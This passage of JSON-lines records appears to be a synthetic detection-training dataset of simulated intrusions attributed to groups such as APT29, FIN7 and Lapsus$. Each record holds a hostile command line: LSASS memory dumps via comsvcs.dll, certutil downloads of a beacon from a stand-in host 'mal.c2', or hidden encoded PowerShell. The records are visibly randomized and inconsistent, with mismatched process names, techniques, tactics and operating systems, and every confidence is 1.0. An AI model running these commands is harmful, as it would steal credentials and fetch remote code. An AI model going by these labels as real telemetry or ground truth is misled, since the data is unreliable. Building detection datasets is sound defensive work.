Stable)","variation_seed":"2095APT41T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.186.159.85","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2752 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-01-04T18:37:16.000Z","user":{"name":"i-t7rbdv6wg98m","sid":"S-1-5-21-303887764-839463930-4263"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Reconnaissance","Credential Access"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250504T052545000Z_0002097","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.28.159.42","name":"EC2-INST-0YINU0YPA4","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2097Lapsus$T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.133.225.156","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1081 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-28T03:33:58.000Z","user":{"name":"azuread\\fuez699oy4qa","sid":"S-1-5-21-576635419-207686937-3119"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20261001T033044000Z_0002099","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.83.99.157","name":"IAM-ROLE-647V9N9YO0","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2099FIN7T1059.001"},"network":{"domain":"github.com","dst_ip":"1.111.191.34","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-31T20:51:11.000Z","user":{"name":"CORP\\ip7fx35h2c5n","sid":"S-1-5-21-182483278-478159250-1851"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Exfiltration","Impact"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20250224T123537000Z_0002101","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.100.171.31","name":"DB-ORACLE-MYRFWPWE3Z","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2101Scattered SpiderT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.116.162.86","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-01T13:12:34.000Z","user":{"name":"CORP\\sznvyk0lvsza","sid":"S-1-5-21-130269029-946836436-4903"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20251003T132244000Z_0002103","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.137.79.147","name":"APP-WEB-KC3BLVLCU2","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2103APT41T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.68.112.175","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-02-22T11:58:25.000Z","user":{"name":"svc_t2y9dl3h1mxh","sid":"S-1-5-21-122564358-565398757-7151"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260627T150233000Z_0002105","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.117.81.138","name":"DB-ORACLE-O8C2LKJDSR","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2105Lapsus$T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.100.247.216","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-04T02:59:47.000Z","user":{"name":"azuread\\m03akj4h1x2c","sid":"S-1-5-21-735263299-600190742-8745"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery","Lateral Movement","Exfiltration"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20250304T231429000Z_0002107","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.122.206.62","name":"EC2-INST-NA4393LUN4","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2107Volt TyphoonT1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.114.40.109","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-03T05:06:54.000Z","user":{"name":"CORP\\zldowfjzh1yg","sid":"S-1-5-21-980197097-560726984-3841"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Initial Access","Defense Evasion","Lateral Movement"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20261030T043248000Z_0002109","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.72.8.108","name":"AZURE-VM-HVA45GQ63E","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2109Volt TyphoonT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.96.183.251","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-19T22:11:41.000Z","user":{"name":"arn:aws:iam::nqirk9ifcw0l","sid":"S-1-5-21-179396583-211614334-2683"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Execution"],"technique_id":"T1531"},"event_id":"evt_apt41_20260321T201417000Z_0002111","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.98.18.17","name":"DB-ORACLE-PYZNH1R1BP","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2111APT41T1531"},"network":{"domain":"github.com","dst_ip":"1.36.70.178","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1830 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-10T18:35:51.000Z","user":{"name":"svc_0wwl005z0j1u","sid":"S-1-5-21-766592533-586278485-1560"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Credential Access","Lateral Movement"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20260730T034526000Z_0002113","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.172.88.169","name":"IAM-ROLE-JAAH94S8OE","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2113FIN7T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.14.145.70","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-16T08:08:19.000Z","user":{"name":"arn:aws:iam::8rmrywsgd7w4","sid":"S-1-5-21-877736556-994192650-8316"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_unc4841_20251225T225555000Z_0002115","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.122.245.150","name":"IAM-ROLE-MLGQPU00IL","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2115UNC4841T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.49.251.121","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-16T21:10:02.000Z","user":{"name":"arn:aws:iam::b2xp5u26zhro","sid":"S-1-5-21-496935258-533541315-7915"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Lateral Movement"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20251229T151448000Z_0002117","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.67.104.120","name":"APP-WEB-XR7EYT6FTA","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2117Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.42.249.176","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-04-30T22:20:41.000Z","user":{"name":"svc_8fwmhebwlhco","sid":"S-1-5-21-998690957-759071493-2313"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Privilege Escalation","Initial Access","Impact"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20250611T034938000Z_0002119","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.26.79.108","name":"AZURE-VM-2HJMCS8CY1","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2119APT29T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.121.0.212","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-01-07T05:50:07.000Z","user":{"name":"CORP\\5xyb1c55t28q","sid":"S-1-5-21-710080277-810659530-7927"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Discovery"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20261017T002755000Z_0002121","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.96.175.244","name":"DB-ORACLE-U9K43AQJ8S","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2121UNC4841T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.189.234.206","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-10-02T07:19:23.000Z","user":{"name":"i-ovqafzrh5d08","sid":"S-1-5-21-161121327-591919259-2053"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Credential Access"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20260119T013659000Z_0002123","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.63.178.58","name":"EC2-INST-9YJTY7XT7W","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2123Lapsus$T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.167.7.173","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-25T04:48:14.000Z","user":{"name":"CORP\\mf8x6462su1b","sid":"S-1-5-21-689044356-194025227-7500"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Discovery","Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20260512T142906000Z_0002125","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.165.107.5","name":"EC2-INST-ONAGK65I1W","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2125Lapsus$T1566.001"},"network":{"domain":"github.com","dst_ip":"1.30.24.56","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2083 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-06-05T01:38:49.000Z","user":{"name":"azuread\\l1iem8xx85wt","sid":"S-1-5-21-239541599-463751906-7953"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Privilege Escalation","Collection"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20261108T153636000Z_0002127","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.104.153.77","name":"AZURE-VM-I6SCX18VWP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2127UNC4841T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.145.185.101","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-03-18T07:02:34.000Z","user":{"name":"azuread\\ebqd4f7gj4gq","sid":"S-1-5-21-349680809-694155633-7114"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Exfiltration"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250825T180700000Z_0002129","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.139.37.80","name":"DB-ORACLE-NPAS17BM5W","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2129UNC4841T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.114.250.115","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-09-29T00:51:56.000Z","user":{"name":"azuread\\qomprzr0to8u","sid":"S-1-5-21-716452876-420187703-6757"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Command and Control","Initial Access"],"technique_id":"T1531"},"event_id":"evt_apt41_20250130T063733000Z_0002131","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.86.238.217","name":"AZURE-VM-BSI8EXNQZ3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2131APT41T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.132.207.89","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2149 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-10T17:08:04.000Z","user":{"name":"svc_5e93puo8rcsj","sid":"S-1-5-21-907299304-376498979-7573"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Reconnaissance","Impact"],"technique_id":"T1059.001"},"event_id":"evt_scatteredspider_20260508T050822000Z_0002133","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.4.165.30","name":"DB-ORACLE-9LG9BSXQY1","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2133Scattered SpiderT1059.001"},"network":{"domain":"github.com","dst_ip":"1.15.164.188","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2529 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-04-07T16:03:31.000Z","user":{"name":"arn:aws:iam::mdp552cx7qjm","sid":"S-1-5-21-310969678-945858776-1987"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20250417T200106000Z_0002135","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.43.202.24","name":"WIN-FIN-SRV-X0W4F8MS26","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2135APT29T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.69.196.45","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-09T11:50:04.000Z","user":{"name":"svc_422claoubu2a","sid":"S-1-5-21-589167768-706856603-3466"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Execution","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20250908T230923000Z_0002137","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.251.168.122","name":"APP-WEB-DEDBQ5LN49","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2137Lapsus$T1059.001"},"network":{"domain":"github.com","dst_ip":"1.26.125.26","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-08-05T08:47:46.000Z","user":{"name":"arn:aws:iam::der2llql6406","sid":"S-1-5-21-709367142-452314535-8120"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration"],"technique_id":"T1531"},"event_id":"evt_lapsus_20250320T171938000Z_0002139","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.164.58.132","name":"APP-WEB-88U2NDOV45","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2139Lapsus$T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.129.19.193","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2178 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-10-03T11:35:54.000Z","user":{"name":"azuread\\79eu3s38pb89","sid":"S-1-5-21-710382412-304109455-3277"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion","Initial Access"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20251107T104926000Z_0002141","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.171.45.240","name":"WIN-FIN-SRV-PBDNHAAWZC","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2141UNC4841T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.5.167.38","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-29T03:50:20.000Z","user":{"name":"arn:aws:iam::l33l60taaz3x","sid":"S-1-5-21-541185981-205024929-6778"}}
